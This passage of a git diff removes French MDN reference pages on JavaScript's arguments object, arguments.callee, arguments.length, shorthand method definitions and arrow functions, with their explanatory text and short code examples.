callee est une propriété de l'objet arguments. Elle peut être utilisée afin de faire référence à la fonction en cours d'exécution à l'intérieur de cette fonction. Cette propriété peut etre utile lorsqu'on ne connait pas le nom de la fonction (fonction anonyme par exemple).

- -
Attention : En mode strict, ECMAScript 5 interdit la fonction arguments.callee(). Éviter de l'utiliser en utilisant un nom de fonction dans les expressions ou en utilisant une déclaration de fonction où la fonction s'appelle elle-même.
- -

Pourquoi arguments.callee a-t-il été retiré du mode strict ES5 ?

- -

(adapté d'une réponse Stack Overflow par olliej)

- -

Aux débuts de JavaScript, il n'était pas possible d'utiliser des expressions de fonction avec des noms. Il était donc impossible de faire une expression de fonction récursive.

- -

Cette syntaxe produisait le résultat escompté :

- -
function factorielle (n) {
-    return !(n > 1) ? 1 : factorielle(n - 1) * n;
-}
-
-[1,2,3,4,5].map(factorielle);
- -

mais :

- -
[1,2,3,4,5].map(function (n) {
-    return !(n > 1) ? 1 : /* que met-on ici ? */ (n - 1) * n;
-});
- -

ne fonctionnait pas. Pour que cela puisse fonctionner, on ajouta arguments.callee :

- -
[1,2,3,4,5].map(function (n) {
-    return !(n > 1) ? 1 : arguments.callee(n - 1) * n;
-});
- -

Cependant, ce fut une mauvaise solution (avec caller également) car elle rendit impossible l'extension inline et la récursion terminale de façon générale (il est possible d'y arriver de certaines façons mais cela entraînerait nécessairement un code moins efficace). Le second problème que cela entraîne est que l'appel récursif aura une autre valeur this :

- -
var global = this;
-
-var fonctionTruc = function (recursed) {
-    if (!recursed) { return arguments.callee(true); }
-    if (this !== global) {
-        console.log("this est : " + this);
-    } else {
-        console.log("this est la variable globale");
-    }
-}
-
-fonctionTruc();
- -

ECMAScript 3 a introduit les expressions de fonctions nommées pour résoudre le problème. On peut désormais utiliser :

- -
[1,2,3,4,5].map(function factorielle (n) {
-    return !(n > 1) ? 1 : factorielle(n - 1)*n;
-});
- -

Cette méthode possède plusieurs avantages :

- -
    -
  • La fonction peut être appelée comme n'importe quelle autre fonction nommée dans le code
    • -
  • Cela ne crée pas une variable dans la portée extérieure (sauf pour IE 8 et les versions antérieures)
    • -
  • Cela entraîne de meilleures performances que d'accéder aux propriétés de l'objet arguments
    • -
- -

Une autre fonctionnalité qui a été déprécié est : arguments.callee.caller, ou plus précisément Function.caller. Pourquoi cela ? Parce que ça permet d'avoir accès à tout moment à la fonction appelante la plus loin dans la pile d'appels. Or, comme évoqué ci-avant, cela a un effet de bord considérable : ça rend beaucoup plus complexes voire impossibles certaines optimisations. Ainsi, on ne peut pas garantir qu'une fonction f n'appellera pas une autre fonction inconnue, ce qui signifie qu'on ne peut pas utiliser l'extension inline. En résumé, cela signifie que n'importe quel site d'appel de fonction (call site) qui aurait pu être développé inline très simplement devra subir de nombreux tests :

- -
function f (a, b, c, d, e) { return a ? b * c : d * e; }
- -

Si l'interpréteur JavaScript ne peut pas garantir que l'ensemble des arguments fournis ici sont des nombres à l'instant de l'appel de la fonction, il devra insérer des vérifications pour chaque argument avant le code inline, sinon il ne pourra pas développer la fonction inline. On notera que, dans ce cas, un interpréteur intelligent devrait pouvoir réarranger les vérifications à faire afin qu'elles soient optimales et de se débarrasser des valeurs inutiles. Malgré tout, une telle optimisation ne sera pas possible dans d'autres cas, ce qui signifie que le développement inline n'est pas possible.

- -

Exemples

- -

Utiliser arguments.callee pour une fonction anonyme récursive

- -

Une fonction récursive, par définition, s'appelle elle-même. Elle fait donc généralement référence à elle-même grâce à son nom. Cependant, une fonction anonyme (créée grâce ) une expression de fonction ou au constructeur {{jsxref("Function")}}) n'a pas de nom et la seule façon d'y faire référence est donc d'utiliser arguments.callee.

- -

L'exemple qui suit illustre une fonction qui définit et renvoie une fonction factorielle. Cet exemple n'a qu'un but démonstratif et ne correspond certainement pas à ce qui serait utilisé en pratique (les expressions de fonctions pouvant être nommées).

- -
function créer() {
-   return function(n) {
-      if (n <= 1)
-         return 1;
-      return n * arguments.callee(n - 1);
-   };
-}
-
-var résultat = create()(5); // renvoie 120 (5 * 4 * 3 * 2 * 1)
- -

Une utilisation d'arguments.callee qui ne possède pas de solution de remplacement

- -

Malgré tout, dans un cas comme le suivant, il n'existe pas d'équivalent pour arguments.callee, c'est pourquoi sa déprécation pourrait être un bug (voir {{Bug("725398")}}):

- -
function créerPersonne (sIdentité) {
-    var oPersonne = new Function("alert(arguments.callee.identité);");
-    oPersonne.identité = sIdentité;
-    return oPersonne;
-}
-
-var jean = créerPersonne("Jean Biche");
-
-jean();
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.arguments.callee")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function")}}
    • -
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/index.html b/files/fr/web/javascript/reference/fonctions/arguments/index.html deleted file mode 100644 index 589b84cc8b..0000000000 --- a/files/fr/web/javascript/reference/fonctions/arguments/index.html +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: arguments -slug: Web/JavaScript/Reference/Fonctions/arguments -tags: - - Fonctions - - Functions - - JavaScript - - Reference - - arguments -translation_of: Web/JavaScript/Reference/Functions/arguments ---- -
{{jsSidebar("Fonctions")}}
- -

L'objet arguments est un objet, semblable à un tableau, correspondant aux arguments passés à une fonction.

- -
-

Note : Si vous pouvez utiliser les fonctionnalités ECMAScript 2015/ES6, il est préférable de manipuler les arguments avec les paramètres du reste.

-
- -
-

Note : Par « objet semblable à un tableau », on indique que l'objet arguments possède une propriété {{jsxref("Fonctions/arguments.length", "length")}} et que ses propriétés sont indexées à partir de 0 mais qu'il ne possède aucune des méthodes natives de {{jsxref("Array")}} telles que {{jsxref("Array.forEach", "forEach()")}} et {{jsxref("Array.map", "map()")}}.

-
- -
{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}
- - - -
-

Note du traducteur : « Variable ayant la fonction pour portée » correspond à la traduction de « Variable of the function scope » qu'il serait incorrect de traduire par « Variable de la portée de la fonction » car la portée de la fonction est la portée dans laquelle on peut appeler la fonction. Une variable locale de la fonction pourrait quant à elle avoir une portée strictement incluse dans le corps de la fonction (variable définie dans un bloc de la fonction même si cette subtilité n'existe pas en Javascript). Toute suggestion pour éviter cette tournure un peu longue sans altérer le sens est la bienvenue. (variable intrinsèque)

-
- -

Syntaxe

- -
arguments
- -

Description

- -

L'objet arguments est une variable locale (intrinsèque et inhérente aux fonctions) disponible dans toutes les fonctions (qui ne sont pas des fonctions fléchées).

- -

Vous pouvez accéder aux arguments d'une fonction à l'intérieur de celle-ci en utilisant l'objet arguments. Cet objet contient une entrée pour chaque argument passé à la fonction, l'indice de la première entrée commençant à 0. Par exemple, si une fonction est appelée avec trois arguments, on accède à ceux-ci comme suit :

- -
arguments[0]
-arguments[1]
-arguments[2]
- -

Les arguments peuvent aussi être modifiés :

- -
arguments[1] = 'nouvelle valeur';
- -

Type de l'objet arguments et liens avec Array

- -

L'objet arguments n'est pas un {{jsxref("Array")}}. Il est similaire à un Array, mais il n'a pas les propriétés d'un Array, exceptée la propriété {{jsxref("Array.length", "length")}}. Par exemple, il n'a pas la méthode {{jsxref("Array.pop", "pop()")}}. Néanmoins, il peut être converti en un vrai objet de type Array :

- -
console.log(typeof arguments); // 'object'
-var args = Array.prototype.slice.call(arguments);
-
-// Avec ECMAScript 2015 / ES6
-var args = Array.from(arguments);
-
- -

Utilisation de la décomposition avec les arguments

- -

On peut utiliser la méthode {{jsxref("Array.from()")}} ou encore l'opérateur de décomposition afin de convertir cet objet en un vrai Array :

- -
var args = Array.from(arguments);
-var args = [...arguments];
- -
-

Important : Il est déconseillé d'utiliser slice sur les arguments car cela peut empêcher certaines optimisations des moteurs JavaScript. Pour ce scénario, on peut par exemple construire un nouveau tableau en parcourant l'objet arguments (à ce sujet, voir cette page sur les contraintes d'optimisations liées à V8). Pour cet exemple, on pourra utiliser Array.apply :

- -
var args = (arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments));
-
- -

L'objet arguments est disponible uniquement dans le corps d'une fonction. Tenter d'accéder à l'objet arguments en dehors de la déclaration d'une fonction renvoie une erreur.

- -

Vous pouvez utiliser l'objet arguments si vous appelez une fonction avec plus de paramètres que ceux déclarés dans sa signature. Cette technique est utile pour les fonctions qui acceptent un nombre variable d'arguments. Vous pouvez utiliser  {{jsxref("Fonctions/arguments/length", "arguments.length")}} pour déterminer le nombre de paramètres passés à la fonction, puis utiliser chaque argument en utilisant l'objet arguments. (Pour déterminer le nombre d'arguments déclarés à la définition de la fonction, il faut utiliser la propriété {{jsxref("Function.length", "length")}}.)

- -

Utiliser typeof sur arguments

- -

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof","typeof")}} renvoie "object" lorsqu'on l'utilise sur arguments

- -
console.log(typeof arguments); // "object"
- -

On peut tout à fait utiliser typeof sur chacun des arguments afin de connaître leur type respectif

- -
console.log(typeof arguments[0]); // renvoie le type du premier argument
- -

Propriétés

- -
-
{{jsxref("Fonctions/arguments/callee", "arguments.callee")}} {{Deprecated_inline}}
-
Référence à la fonction en cours d'exécution.
-
{{jsxref("Fonctions/arguments/caller", "arguments.caller")}} {{Obsolete_inline}}
-
Référence à la fonction appelante.
-
{{jsxref("Fonctions/arguments/length", "arguments.length")}}
-
Référence au nombre d'arguments passés à la fonction.
-
{{jsxref("Fonctions/arguments/@@iterator", "arguments[@@iterator]")}}
-
Renvoie un nouvel itérateur qui contient les valeurs pour chaque indice d'arguments.
-
- -

Exemples

- -

Définir une fonction de concaténation d'un nombre variable de chaînes

- -

Cet exemple définit une fonction qui concatène un nombre variable de chaînes. Le seul argument formel de la fonction est une chaîne spécifiant un séparateur inséré entre les chaînes concaténées. La fonction est définie comme suit :

- -
function myConcat(separateur) {
-  var args = Array.prototype.slice.call(arguments, 1);
-  return args.join(separateur);
-}
- -

Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste en utilisant chaque argument comme un élément de la liste.

- -
// renvoie "rouge, orange, bleu"
-myConcat(", ", "rouge", "orange", "bleu");
-
-// renvoie "éléphant ; giraffe ; lion ; guépard"
-myConcat(" ; ", "elephant", "giraffe", "lion", "guépard");
-
- -

Définir une fonction de création de listes HTML

- -

Cet exemple définit une fonction qui crée des chaînes définissant des listes HTML. Le seul argument formel de la fonction est une chaîne pouvant valoir "u" (unordered), si la liste doit être sans numérotation (avec des puces), ou "o" (ordered), si la liste doit être numérotée. La fonction est définie comme suit :

- -
function liste(type) {
-  var resultat = "<" + type + "l><li>";
-  var args = Array.prototype.slice.call(arguments, 1);
-  resultat += args.join("</li><li>");
-  resultat += "</li></" + type + "l>"; // end list
-
-  return resultat;
-}
- -

Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste du type indiqué en ajoutant chaque argument comme élément dans la liste. Exemple :

- -
var listeHTML = liste("u", "Un", "Deux", "Trois");
-
-/* listeHTML vaut  :
-
-"<ul><li>Un</li><li>Deux</li><li>Trois</li></ul>"
-
-*/
- -

Paramètres du reste, paramètres par défaut et décomposition

- -

L'objet arguments peut être utilisé en combinaison avec les paramètres du reste, les paramètres par défaut ou les paramètres décomposés.

- -
function toto(...args) {
-  return args;
-}
-toto(1, 2, 3); // [1, 2, 3]
-
- -

Toutefois, pour les fonctions utilisées en mode non-strict, un objet arguments n'est fourni à l'intérieur de la fonction uniquement si celle-ci n'utilise pas de paramètres du reste, pas de paramètres par défaut ou de paramètre décomposé. Par exemple, dans la fonction suivante, qui utilise un paramètre par défaut, ce sera 10 qui sera renvoyé (et non 100) :

- -
function truc(a=1) {
-  arguments[0] = 100;
-  return a;
-}
-truc(10); // 10
-
- -

Si l'objet arguments est modifié dans la fonction, cela modifiera la valeur du paramètre passé. Dans cet exemple où il n'y a ni paramètres du reste, ni paramètres par défaut, ni décomposition, le résultat sera 100 :

- -
fonction truc(a) {
-  arguments[0] = 100;
-  return a;
-}
-truc(10); // 100
- -

En fait, lorsqu'il n'y a aucun paramètre du reste, paramètre par défaut ou aucune décomposition, les arguments formels feront références aux valeurs de l'objet arguments. Lorsqu'on aura besoin d'accéder à ces valeurs, on accèdera aux valeurs contenues dans arguments et à l'inverse, lorsqu'on modifiera ces valeurs, cela modifiera le contenu d'arguments. Par exemple

- -
function func(a, b) {
-  arguments[0] = 99;
-  arguments[1] = 99;
-  console.log(a + " " +b);
-}
-
-func(1, 2); // 99 99
-
- -

ou encore :

- -
function func(a, b) {
-  a = 9;
-  b = 99;
-  console.log(arguments[0] + " " + arguments[1]);
-}
-
-func(3, 4); // 9 99
-
- -

En revanche, dès qu'on utilise des paramètres du reste, des paramètres par défaut ou la décomposition, c'est le comportement normal qui sera appliqué :

- -
function func(a, b, c = 9) {
-  arguments[0] = 99;
-  arguments[1] = 98;
-  console.log(a + " " + b);
-}
-
-func(3, 4); // 3 4
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.arguments")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/fonctions/arguments/length/index.html b/files/fr/web/javascript/reference/fonctions/arguments/length/index.html deleted file mode 100644 index 02de2d281c..0000000000 --- a/files/fr/web/javascript/reference/fonctions/arguments/length/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: length -slug: Web/JavaScript/Reference/Fonctions/arguments/length -tags: - - Functions - - JavaScript - - Propriété - - Reference - - arguments -translation_of: Web/JavaScript/Reference/Functions/arguments/length ---- -
{{jsSideBar("Functions")}}
- -

La propriété arguments.length contient le nombre d'arguments passés à la fonction.

- -

Syntaxe

- -
arguments.length
- -

Description

- -

La propriété arguments.length fournit le nombre d'arguments qui ont été passés à la fonction. Cette quantité peut être inférieure ou supérieure au nombre de paramètres explicitement déclarés dans la définition de la fonction (voir également {{jsxref("Function.length")}}).

- -

Exemple

- -

Utiliser arguments.length

- -

Dans cet exemple, on définit une fonction qui permet d'additionner plusieurs nombres.

- -
function somme(x /*, y, z, ...*/) {
-   x = Number(x);
-   for (var i = 1; i < arguments.length; i++) {
-      x += Number(arguments[i]);
-   }
-   return x;
-}
-
- -
résultat = somme(3, 4, 5);        // renvoie 12
-résultat = somme(3, 4);           // renvoie 7
-résultat = somme(103, 104, 105);  // renvoie 312
-
- -
-

Note : arguments.length ne doit pas être confondu avec {{jsxref("Function.length")}}.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.arguments.length")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function")}}
    • -
  • {{jsxref("Function.length")}}
    • -
diff --git "a/files/fr/web/javascript/reference/fonctions/d\303\251finition_de_m\303\251thode/index.html" "b/files/fr/web/javascript/reference/fonctions/d\303\251finition_de_m\303\251thode/index.html" deleted file mode 100644 index 1884e63c14..0000000000 --- "a/files/fr/web/javascript/reference/fonctions/d\303\251finition_de_m\303\251thode/index.html" +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Définir une méthode -slug: Web/JavaScript/Reference/Fonctions/Définition_de_méthode -tags: - - ECMAScript 2015 - - Fonctions - - JavaScript - - Object - - Reference - - Syntaxe -translation_of: Web/JavaScript/Reference/Functions/Method_definitions ---- -
{{JsSidebar("Functions")}}
- -

Avec ECMAScript 2015 (ES6), il est possible d'utiliser une notation plus courte pour définir des méthodes au sein des littéraux objets. On peut ainsi définir plus rapidement une fonction qui sera utilisée comme méthode.

- -
{{EmbedInteractiveExample("pages/js/functions-definitions.html")}}
- - - -

Syntaxe

- -
var obj = {
-  property( parameters… ) {},
-  *generator( parameters… ) {},
-  async property( parameters… ) {},
-  async* generator( parameters… ) {},
-
-  // avec les noms calculés :
-  [property]( parameters… ) {},
-  *[generator]( parameters… ) {},
-  async [property]( parameters… ) {},
-
-  // avec la syntaxe pour les accesseurs
-  // mutateurs :
-  get property() {},
-  set property(value) {}
-};
-
- -

Description

- -

La notation raccourcie est semblable à la syntaxe introduite par ECMAScript 5 pour les accesseurs et mutateurs.

- -

Le code suivant :

- -
var obj = {
-  toto: function() {
-    /* du code */
-  },
-  truc: function() {
-    /* du code */
-  }
-};
- -

Peut désormais être raccourci en :

- -
var obj = {
-  toto() {
-    /* du code */
-  },
-  truc() {
-    /* du code */
-  }
-};
- -

Notation raccourcie pour les générateurs

- -

Les générateurs sont des méthodes et peuvent donc être définis en utilisant la notation raccourci. Lorsqu'on les utilise :

- -
    -
  • L'astérisque de la notation raccourcie doit être située avant le nom de la propriété pour le générateur. Autrement dit, * g(){} fonctionnera mais g*(){} ne fonctionnera pas.
    • -
  • Les définitions des méthodes qui ne sont pas des générateurs ne peuvent pas contenir le mot-clé yield. Cela signifie que l'ancienne syntaxe pour les générateurs ne fonctionnera pas et déclenchera une exception {{jsxref("SyntaxError")}}. Il faut toujours utiliser yield avec l'astérisque (*).
    • -
- -
// Notation utilisant une propriété nommée (avant-ES2015)
-var obj2 = {
-  g: function*() {
-    var index = 0;
-    while(true)
-      yield index++;
-  }
-};
-
-// La même définition, en utilisant la notation raccourcie
-var obj2 = {
-  * g() {
-    var index = 0;
-    while(true)
-      yield index++;
-  }
-};
-
-var it = obj2.g();
-console.log(it.next().value); // 0
-console.log(it.next().value); // 1
- -

Méthodes asynchrones avec notation raccourcie

- -

Les méthodes asynchrones peuvent également être définies grâce à une syntaxe raccourcie.

- -
// On utilise une propriété nommée
-var obj3 = {
-  f: async function () {
-    await une_promesse;
-  }
-};
-
-// Ici, on obtient le même résultat
-// avec la notation raccourcie
-var obj3 = {
-  async f() {
-    await une_promesse;
-  }
-};
-
- -

Méthodes génératrices asynchrones

- -

Les méthodes génératrices peuvent également être asynchrones (cf. async) :

- -
var obj4 = {
-  f: async function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-  }
-};
-
-// Le code équivalent avec la
-// notation raccourcie
-var obj4 = {
-  async* f() {
-    yield 1;
-    yield 2;
-    yield 3;
-  }
-};
- -

Les définitions de méthodes ne sont pas constructibles

- -

Les définitions de méthodes ne sont pas des constructeurs et si on tente de les instancier, cela provoquera une exception {{jsxref("TypeError")}}.

- -
var obj = {
-  méthode() {},
-};
-new obj.méthode; // TypeError: obj.méthode is not a constructor
-
-var obj = {
-  * g() {}
-};
-new obj.g; // TypeError: obj.g is not a constructuer (changé avec ES2016)
-
- -

Exemples

- -

Cas de test

- -
var obj = {
-  a : "toto",
-  b(){ return this.a; }
-};
-console.log(obj.b()); // "toto"
-
- -

Noms de propriétés calculés

- -

Cette notation raccourcie peut également être utilisée avec des noms de propriétés calculés.

- -
var bar = {
-  toto0 : function (){return 0;},
-  toto1(){return 1;},
-  ["toto" + 2](){return 2;},
-};
-
-console.log(bar.toto0()); // 0
-console.log(bar.toto1()); // 1
-console.log(bar.toto2()); // 2
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2016')}}Les méthodes génératrices ne doivent pas implémenter la trappe [[Construct]] et déclencher une exception lorsqu'elles sont utilisées avec new.
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.method_definitions")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/fonctions/fonctions_fl\303\251ch\303\251es/index.html" "b/files/fr/web/javascript/reference/fonctions/fonctions_fl\303\251ch\303\251es/index.html" deleted file mode 100644 index 912748e5e2..0000000000 --- "a/files/fr/web/javascript/reference/fonctions/fonctions_fl\303\251ch\303\251es/index.html" +++ /dev/null @@ -1,375 +0,0 @@ ---- -title: Fonctions fléchées -slug: Web/JavaScript/Reference/Fonctions/Fonctions_fléchées -tags: - - ECMAScript 2015 - - Fonctions - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions/Arrow_functions ---- -
{{jsSidebar("Functions")}}
- -

Une expression de fonction fléchée (arrow function en anglais) permet d’avoir une syntaxe plus courte que les expressions de fonction et ne possède pas ses propres valeurs pour this, arguments, super, ou new.target. Les fonctions fléchées sont souvent anonymes et ne sont pas destinées à être utilisées pour déclarer des méthodes.

- -
{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}
- -

Syntaxe

- -
([param] [, param]) => {
-   instructions
-}
-
-(param1, param2, …, param2) => expression
-// équivalent à
-(param1, param2, …, param2) => {
-  return expression;
-}
-
-// Parenthèses non nécessaires quand il n'y a qu'un seul argument
-param => expression
-
-// Une fonction sans paramètre peut s'écrire avec un couple
-// de parenthèses
-() => {
-  instructions
-}
-
-// Gestion des paramètres du reste et paramètres par défaut
-(param1, param2, ...reste) => {
-  instructions
-}
-(param1 = valeurDefaut1, param2, …, paramN = valeurDefautN) => {
-  instructions
-}
-
-// Gestion de la décomposition pour la liste des paramètres
-let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c;
-f();
-
- -
-
param
-
Le nom d’un argument. S’il n'y a aucun argument, cela doit être indiqué par une paire de parenthèses (). S’il n'y a qu’un argument, les parenthèses ne sont pas nécessaires (ex. : toto => 1).
-
instructions ou expression
-
Plusieurs instructions doivent être encadrées par des accolades, {}. Une expression simple ne nécessite pas d’accolades. L’expression est également la valeur de retour implicite pour cette fonction.
-
- -

Description

- -

Deux facteurs sont à l’origine de la conception des fonctions fléchées : une syntaxe plus courte et l’absence de this spécifique à la fonction. Sur ce dernier point, cela signifie qu’une fonction fléchée ne lie pas son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} au sein de la fonction (il en va de même avec {{jsxref("Fonctions/arguments","arguments")}}, {{jsxref("Opérateurs/super","super")}} ou {{jsxref("Opérateurs/new.target","new.target")}}).

- -
-

Voir aussi l’article sur les fonctions fléchées présent sur https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees (l’article original en anglais est disponible ici).

-
- -

Syntaxe plus courte

- -

Pour des aspects fonctionnels, la légèreté de la syntaxe est bienvenue. Par exemple :

- -
var a = [
-  "We're up all night 'til the sun",
-  "We're up all night to get some",
-  "We're up all night for good fun",
-  "We're up all night to get lucky"
-];
-
-// Sans la syntaxe des fonctions fléchées
-var a2 = a.map(function (s) { return s.length });
-// [31, 30, 31, 31]
-
-// Avec, on a quelque chose de plus concis
-var a3 = a.map( s => s.length);
-// [31, 30, 31, 31]
- -

Pas de this lié à la fonction

- -

Jusqu’a l’apparition des fonctions fléchées, chaque nouvelle fonction définissait son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} :

- -
    -
  • un nouvel objet dans le cas d’un constructeur
    • -
  • undefined dans les appels de fonctions en mode strict
    • -
  • l’objet courant si la fonction est appelée comme une méthode, etc.
    • -
- -

Cela a pu entraîner des confusions lorsqu’on utilisait un style de programmation orientée objet.

- -
function Personne () {
-  // Le constructeur Personne() définit `this` comme lui-même.
-  this.age = 0;
-
-  setInterval(function grandir () {
-    // En mode non strict, la fonction grandir() définit `this`
-    // comme l'objet global et pas comme le `this` defini
-    // par le constructeur Personne().
-    this.age++;
-  }, 1000);
-}
-
-var p = new Personne();
- -

Avec ECMAScript 3/5, ce problème a pu être résolu en affectant la valeur de this à une autre variable :

- -
function Personne () {
-  var that = this;
-  that.age = 0;
-
-  setInterval(function grandir () {
-    // La fonction callback se réfère à la variable `that`
-    // qui est le contexte souhaité
-    that.age++;
-  }, 1000);
-}
- -

Autrement, on aurait pu utiliser une fonction de liaison afin que la bonne valeur this soit passée à la fonction grandir.

- -

Les fonctions fléchées ne créent pas de nouveau contexte, elles utilisent la valeur this de leur contexte. Aussi, si le mot-clé this est utilisé dans le corps de la fonction, le moteur recherchera la référence à cette valeur dans une portée parente. Le code qui suit fonctionne ainsi de la façon attendue car le this utilisé dans setInterval est le thisde la portée de Personne :

- -
function Personne () {
-  this.age = 0;
-
-  setInterval(() => {
-    this.age++;
-    // |this| fait bien référence à l'objet personne
-  }, 1000);
-}
-
-var p = new Personne();
- -

Liens avec le mode strict

- -

Ici this provient du contexte englobant, les règles du mode strict sont donc ignorées pour ce qui concerne this.

- -
var f = () => {'use strict'; return this};
-f() === window; // ou l'objet global
- -

Le reste des règles du mode strict sont appliquées normalement.

- -

Appel via {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}}

- -

Étant donné que this provient du contexte englobant, si on invoque une fonction via la méthode call ou apply, cela ne passera que des arguments mais n’aura aucun effet sur this :

- -
var ajouter = {
-  base: 1,
-
-  add : function (a) {
-    var f = v => v + this.base;
-    return f(a);
-  },
-
-  addViaCall: function (a) {
-    var f = v => v + this.base;
-    var b = {
-      base: 2
-    };
-    return f.call(b, a);
-  }
-};
-
-console.log(ajouter.add(1));
-// Cela affichera 2 dans la console
-
-console.log(ajouter.addViaCall(1));
-// Cela affichera toujours 2
-
- -

Pas de liaison pour arguments

- -

Les fonctions fléchées n’exposent pas d’objet arguments : arguments.length, arguments[0], arguments[1], et autres ne font donc pas référence aux arguments passés à la fonction fléchés. Dans ce cas arguments est simplement une référence à la variable de même nom si elle est présente dans la portée englobante :

- -
var arguments = [1, 2, 3];
-var arr = () => arguments[0];
-
-arr(); // 1
-
-function toto () {
-  var f = (i) => arguments[0] + i;
-  // lien implicite avec arguments de toto
-  return f(2);
-}
-
-toto(3); // 5
- -

Les fonctions fléchées n’ont donc pas leur propre objet arguments, mais dans la plupart des cas, les paramètres du reste représentent une bonne alternative :

- -
function toto () {
-  var f = (...args) => args[0];
-  return f(2);
-}
-
-toto(1); // 2
- -

Les fonctions fléchées comme méthodes

- -

Comme indiqué précédemment, les fonctions fléchées sont mieux indiquées pour les fonctions qui ne sont pas des méthodes. Prenons un exemple pour illustrer ce point

- -
'use strict';
-var objet = {
-  i: 10,
-  b: () => console.log(this.i, this),
-  c: function() {
-    console.log(this.i, this);
-  }
-}
-
-objet.b();
-// affiche undefined, Window (ou l'objet global de l'environnement)
-
-objet.c();
-// affiche 10, Object {...}
- -

Utiliser prototype

- -

Les fonctions fléchées ne possèdent pas de prototype :

- -
var Toto = () => {};
-console.log(Toto.prototype);
-
- -

Utiliser le mot-clé yield

- -

Le mot-clé yield ne peut pas être utilisé dans le corps d’une fonction fléchée (sauf si cela intervient dans une autre fonction, imbriquée dans la fonction fléchée). De fait, les fonctions fléchéees ne peuvent donc pas être utilisées comme générateurs.

- -

Utiliser le mot-clé new

- -

Les fonctions fléchées ne peuvent pas être utilisées comme constructeurs et lèveront une exception si elles sont utilisées avec le mot-clé new.

- -
var Toto = () => {};
-var toto = new Toto();
-// TypeError: Toto is not a constructor
- -

Gestion du corps de la fonction

- -

Les fonctions fléchées peuvent avoir une syntaxe concise ou utiliser un bloc d’instructions classique. Cette dernière syntaxe n’a pas de valeur de retour implicite et il faut donc employer l’instruction return.

- -
// méthode concise, retour implicite
-var fonction = x => x * x;
-
-// bloc classique, retour explicite
-var fonction = (x, y) => { return x + y; }
-
- -

Renvoyer des littéraux objets

- -

Attention à bien utiliser les parenthèses lorsqu’on souhaite renvoyer des objets avec des littéraux :

- -
// fonction() renverra undefined !
-var fonction = () => { toto: 1 };
-
-// SyntaxError
-var fonction2 = () =>  { toto: function () {} };
-
- -

En effet, ici, l’analyse de l’expression trouve des blocs d’instructions au lieu de littéraux objets. Pour éviter cet effet indésirable, on pourra encadrer le littéral objet :

- -
var fonction = () => ({ toto: 1 });
- -

Sauts de ligne

- -

Il ne peut pas y avoir de saut de ligne entre les paramètres et la flèche d’une fonction fléchée.

- -
var func = ()
-            => 1; // SyntaxError: expected expression,
-                  //              got '=>'
-
- -

Ordre syntaxique

- -

La flèche utilisée pour une fonction fléchée n’est pas un opérateur. Les fonctions fléchées ont des règles spécifiques quant à leur place dans la syntaxe et interagissent différemment de la précédence des opérateurs par rapport à une fonction classique :

- -
let fonctionRappel;
-
-fonctionRappel = fonctionRappel || function () {};
-// OK
-
-fonctionRappel = fonctionRappel || () => {};
-// SyntaxError: invalid arrow-function arguments
-
-fonctionRappel = fonctionRappel || (() => {});
-// OK
-
- -

Exemples

- -
// Une fonction fléchée vide renvoie undefined
-let vide = () => {};
-
-(() => "tototruc")()
-// exemple d'une fonction immédiatement
-// invoquée (IIFE en anglais) qui renvoie
